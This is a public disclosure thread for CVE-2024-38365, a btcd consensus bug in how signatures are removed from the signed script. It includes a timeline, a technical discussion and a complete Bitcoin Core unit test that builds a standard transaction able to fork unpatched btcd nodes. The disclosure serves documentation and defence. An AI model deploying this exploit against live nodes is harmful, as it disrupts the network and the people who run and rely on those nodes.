CVE-2024-38365 public disclosure (btcd `FindAndDelete` bug)

This work is a collaboration between Niklas Gögge (Brink) and Antoine Poinsot (Wizardsardine).

Btcd prior to version 0.24.2 does not correctly implement the consensus rules for legacy signature verification. The incompatible behavior can be triggered by a standard transaction, making it possible for anyone to fork off vulnerable btcd nodes at virtually no cost.

Details

When verifying a signature for a transaction input, the script interpreter of a Bitcoin node re-constructs the signed message and checks the signature against it. The original algorithm for re-constructing the message is detailed in this wiki page. Notably, the signed message contains a commitment to the Script being executed. For legacy transaction inputs any occurrence of the signature being verified is first removed from the executed Script committed in the message. This is often referred to as the FindAndDelete behavior, named after the function implementing this in Satoshi Nakamoto’s original Bitcoin codebase.

removeOpcodeByData is Btcd’s equivalent of Bitcoin Core’s FindAndDelete. Prior to version 0.24.2, removeOpcodeByData would remove any data push from the executed Script that contains the signature. Whereas Bitcoin Core’s (and Satoshi’s) FindAndDelete only removes exact matches. Using public key recovery it is possible to create a Script which contains a signature check and an extraneous data push which contains the signature itself and additional padding data. This Script can be committed to in a P2SH output which can be spent by a standard transaction which would be considered valid by Bitcoin Core and invalid by vulnerable Btcd nodes.

This bug was introduced in commit 76339baf6c9407b073828245e3458f4df35190ae in 2014, in reaction to a new Bitcoin Core unit test demonstrating the original implementation was consensus-incompatible.

Credits

Thanks to the Btcd maintainers for awarding us a bug bounty.

Timeline

  • 2024-03-20 Niklas and Antoine discuss the quirks of Bitcoin Core’s FindAndDelete (in relation to Antoine’s research into the worst case block validation time) and decide to take a look at if Btcd got all the quirks right in their reimplementation
  • 2024-03-22 Niklas and Antoine email a detailed report of the issue to Olaoluwa Osuntokun
  • 2024-03-26 Olaoluwa acknowledges the issue and creates a discussion group with another Btcd maintainer
  • 2024-05-07 Antoine reserves CVE-2024-36051 through Mitre
  • 2024-06-21 Laolu reserves CVE-2024-38365 through Github
  • 2024-04-26 A covert fix is included in PR #2178
  • 2024-05-22 PR #2178 is merged
  • 2024-06-25 Version 0.24.2 is released with the fix
  • 2024-09-20 Public disclosure

What is the public key recovery for?

To have a valid signature in the scriptpubkey.

To exploit this you want to have a data push in the scriptpubkey which contains the signature among other dummy data and then execute the signature check. When checking the signature Bitcoin Core’s FindAndDelete won’t drop the data push from the signature hash, but btcd will before version 0.24.2.

To cause a chain split you not only want the sighash calculation to differ, you want it to lead to a different signature check result. The only way to have a valid signature in the scriptpubkey is to generate the signature first and then to recover a public key from it plus the sighash. By performing a public key recovery using Bitcoin Core’s sighash you’ll get a public key such as the signature check passes on Bitcoin Core but fails on btcd. And vice-versa.

I have a documented Bitcoin Core unit test as a patch which generates such a transaction, that we sent to Laolu as part of the original report. I’m hesitant to share it publicly though since it would simplify the job of a script kiddy who wants to be annoying. I’ll share the patch with you privately and share it on this thread later.

2 Likes

and additional padding data.

In my understanding of the bug, there is feeding of the two consensus-nodes, with the following scriptCode, where the ECDSA sig and the "noise dummy data must match the length declared in pushed bytes.


  1-byte        1-byte       ECDSA sig-bytes   "noise" dummy data-bytes

OP_PUSHDATA1 <bytes pushed> <signature> <padding data>

One should note that ECDSA sig length is malleable.

The non-upgraded, pre-0.24.2 btcd peers should remove the whole data push containing the consensus valid signatures, before it’s verified by the script interpreter. While bitcoind peers can accept the valid signatures. I’m unsure that you really need public key recovery to achieve that chain fork as a trick. I believe one has OP_PICK, OP_ROLL and other stack inspection opcodes available, that can be committed in the scriptCode.

No, it’s more fundamental than just which opcode to use. You commit to the signature in the scriptCode, which itself needs to commit to the scriptCode. Short of new signature modes (like ANYPREVOUT) which don’t commit to the scriptCode you need to use pubkey recovery.

Could you describe exactly how you think it’s possible to achieve the same without pubkey recovery?

You commit to the signature in the scriptCode , which itself needs to commit to the scriptCode .

No, a signature does not need to commit to the scriptCode as one can use OP_CODESEPARATOR to spend pre-segwit script.

If you have a data push of the signature, then let the signature on the stack, then you have an OP_CODESEPARATOR, and then you have the OP_CHECKSIG. In that case shouldn’t the pbegincodehash making the scriptCode be only the OP_CHECKSIG itself, i.e a fixed-point ? The OP_CHECKSIG bitcoin core code is popping up the signature and pubkey from the stack, and OP_CODESEPARATOR is a null-op on the script stack.

If you get the signature out of the scriptCode by using an OP_CODESEPARATOR, then you won’t be able to exploit the FindAndDelete discrepancy since there is no signature to find anymore.

Right, unless you’re using an OP_CODESEPARATOR the signature should commit to the scriptCode. Though there is still the possibility that the signature is invalid w.r.t the scriptCode and the script execution still valid.

What if you have : <invalid_sig+noise> <invalid_sig> <OP_CHECKSIG> <OP_SIZE> <length_invalid_sig+noise> OP_EQUALVERIFY.

In my understanding, core’ should only remove 1 instance of <invalid_sig>, fails on the CHECKSIG (though NULLFAIL policy only) and then succeed on the OP_SIZE. On the other hand, non-upgraded btcd should remove the 2 instances of <invalid_sig> (as invalid_sig+noise contains the invalid_sig) and fails the OP_SIZE + OP_EQUALVERIFY.

Sure, but what we want here is a different script execution between btcd and Core. In the context of this disclosure, this was only possible using a discrepancy in the FindAndDelete implementation therefore you need a signature to be found in the scriptCode. Further, you need the signature to be valid for either btcd or Core, which is only possible if you do public key recovery.

I’m not sure what you are trying to get at since your Script is different from what i think you meant:

  • Here the CHECKSIG would be executed taking <invalid_sig+noise> as signature and <invalid_sig> as public key, which is always going to push 0 on the stack;
  • OP_SIZE would then be executed on the result of the CHECKSIG, which is always 0, and so would always return 0 as well;
  • Then OP_EQUALVERIFY would always fail since the length of the invalid sig + noise would never be 0.

I assume you mean that running OP_CHECKSIG would drop the <invalid_sig> (in Bitcoin Core), or both <invalid_sig> and <invalid_sig + noise>, from the Script itself and lead to a discrepancy of the execution when asserting the size of the top element left on the stack. Then you are misunderstanding what FindAndDelete does. It does not tamper with the Script being executed at all, it only modifies a copy of it for the purpose of committing to it in the sighash. Even if your Script from above correctly implemented what i think you intended it to, it would not cause a different execution between btcd and Bitcoin Core: the executed script is always the same so the size of the top stack element would always be the same for both.

The OP_CHECKSIG (or OP_CHECKMULTISIG) consume stack element so <invalid_sig> and pubkey are dropped from the remainder of the Script, as it is executed. Though yes, there might have been a misunderstanding, on how much btcd’s equivalent of FindAndDelete i.e removeOpcodeByData is really broken. Your initial description wasn’t that clear on that i.e “would remove any data push from the executed Script” which doesn’t say that data push removal was only stopping on currently executed OP_CHECKSIG, and not affecting further data push in the Script. Yes I can understand for the script kiddies.

More seriously than rambling on btcd brokeness, which is a wide subject, after re-checking and re-testing a lot of OP_CODESEPARATOR behaviors when used to spend SigVersion::Base in 27.x peers. Some behaviors are interesting, I’ll share it with you privately.

It’s been 5 months in a couple days so i’m planning to share this soon for documentation purpose.

Finally getting back to this another 5 months later. Here is the documented Bitcoin Core unit test that was sent as part of the report. It can be ran against Core v27.0 and generates a transaction that would be valid according to Bitcoin Core but not according to Btcd.

// Copyright (c) 2024 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#include <boost/test/unit_test.hpp>

#include <chainparams.h>
#include <core_io.h>
#include <script/interpreter.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
#include <test/util/setup_common.h>
#include <util/strencodings.h>
#include <validation.h>

BOOST_AUTO_TEST_SUITE(btcd_fad)

/**
 * Demonstration of a consensus bug in btcd, a Go reimplementation of Bitcoin.
 *
 * This is joint work with Niklas Gögge.
 *
 * The purpose of this test is to demonstrate that the implementation of
 * FindAndDelete in btcd (removeOpcodeData) differs from Bitcoin Core. One
 * difference is how btcd will drop any data push from the scriptCode that
 * contains the signature being validated, whereas Core will only drop data
 * pushes that are exact matches. This is the bug chosen for this demonstration
 * (there may be others).
 *
 * To produce a consensus split, we need a signature that would be accepted by
 * Bitcoin Core but not by btcd (or vice-versa). This test demostrates how to
 * construct a set of standard transactions containing such a signature.
 *
 * First we create a preparation transaction that creates a P2SH output with
 * the following redeemScript: `OP_CHECKSIGVERIFY <x||dummy_sig>` (the exact
 * value for "x" is irrelevant). "dummy_sig" is a signature that was randomly
 * generated (the exact signature used is also irrelevant as long as it is
 * properly encoded).
 *
 * Second we create an attack transaction that spends the preparation
 * scriptPubKey. It's scriptSig is the following:
 * `<dummy_sig> <pubkey> <redeemScript>`. We derive the pubkey from "dummy_sig"
 * and the signature hash (redeemScript is used as the scriptCode for the
 * sighash).
 *
 * The crux here is that btcd will drop the `<x||dummy_sig>` data push when
 * evaluating the redeemScript while Bitcoin Core will not. btcd arrives at a
 * different signature hash which makes the signature check fail. A block
 * containing the attack transaction would fork btcd nodes from the network.
 */
BOOST_FIXTURE_TEST_CASE(btcd_fad, BasicTestingSetup)
{
    // We always create 0-value outputs.
    const CAmount txouts_value{0};

    // Create a small DER-encoded dummy sig. We later use it in combination with
    // the sighash to derive a matching pubkey.
    const auto dummy_sig{ParseHex("300602010102010101")};
    // As previously mentioned btcd will drop partial matches from the scriptCode,
    // so we create a piece of data that contains the dummy sig.
    const auto dummy_sig_pushed{ParseHex("09300602010102010101")};

    // Create the preparation transaction, which pays to a P2SH scriptPubKey.
    // The redeemScript is a simple OP_CHECKSIGVERIFY followed by the data that
    // contains the dummy sig.
    const auto redeem_script{CScript() << OP_CHECKSIGVERIFY << dummy_sig_pushed};
    const auto prep_spk{CScript() << OP_HASH160 << ToByteVector(Hash160(redeem_script)) << OP_EQUAL};
    CMutableTransaction prep_tx;
    prep_tx.vout.emplace_back(CTxOut{0, prep_spk});
    prep_tx.vin.emplace_back(CTxIn{{Txid{}, 0}});

    // Create the transaction that would trigger the hard fork by spending from
    // the preparation tx. We use a placeholder for the scriptSig which we'll
    // later replace with the dummy sig, pubkey and redeemScript, but first we
    // need to actually recover the public key.
    CMutableTransaction attack_tx;
    attack_tx.vout.emplace_back(CTxOut{0, CScript() << OP_TRUE});
    attack_tx.vin.emplace_back(CTxIn{COutPoint{prep_tx.GetHash(), 0}, /*scriptSigIn=*/CScript() << OP_TRUE});

    // First step toward recovering the public key: compute the sighash using
    // the redeemScript.
    //
    // Note: this is where things go wrong for btcd because it will drop the
    // data push (dummy_sig_pushed) that contains the sig from the script code
    // and therefore arive at a different sighash.
    const auto sighash{SignatureHash(redeem_script, attack_tx, 0, SIGHASH_ALL, 0, SigVersion::BASE)};

    // Now dance around the secp256k1 types and formats to recover a public key
    // valid for this signature and sighash.
    std::vector<unsigned char> pubkey(33);
    secp256k1_pubkey secp_pubkey;
    std::vector<unsigned char> compact_dummy_sig(64);
    secp256k1_ecdsa_recoverable_signature recoverable_dummy_sig;
    secp256k1_ecdsa_signature secp_dummy_sig;
    secp256k1_context* secp_ctx = Assert(secp256k1_context_create(SECP256K1_CONTEXT_NONE));
    assert(secp256k1_ecdsa_signature_parse_der(secp_ctx, &secp_dummy_sig, dummy_sig.data(), dummy_sig.size() - 1) == 1);
    assert(secp256k1_ecdsa_signature_serialize_compact(secp_ctx, compact_dummy_sig.data(), &secp_dummy_sig) == 1);
    assert(secp256k1_ecdsa_recoverable_signature_parse_compact(secp_ctx, &recoverable_dummy_sig, compact_dummy_sig.data(), 0) == 1);
    assert(secp256k1_ecdsa_recover(secp_ctx, &secp_pubkey, &recoverable_dummy_sig, sighash.data()) == 1);
    size_t _unused_pk_size{33};
    assert(secp256k1_ec_pubkey_serialize(secp_ctx, pubkey.data(), &_unused_pk_size, &secp_pubkey, SECP256K1_EC_COMPRESSED) == 1);
    secp256k1_context_destroy(secp_ctx);

    // We got a valid pubkey. Push the sig and the pubkey onto the scriptSig of
    // the attack transaction to satisfy the CHECKSIGVERIFY in the redeemScript.
    CScript script_sig;
    script_sig << dummy_sig
               << pubkey
               << std::vector<unsigned char>{redeem_script.begin(), redeem_script.end()};
    attack_tx.vin[0].scriptSig = script_sig;

    // The scriptSig of the attack tx must verify against the scriptPubKey of
    // the preparation tx.
    //
    // Note: This attack does not require non-standard transactions.
    unsigned int flags{STANDARD_SCRIPT_VERIFY_FLAGS};
    assert(VerifyScript(script_sig, prep_spk, nullptr, flags, MutableTransactionSignatureChecker(&attack_tx, 0, txouts_value, MissingDataBehavior::ASSERT_FAIL)));
}

BOOST_AUTO_TEST_SUITE_END()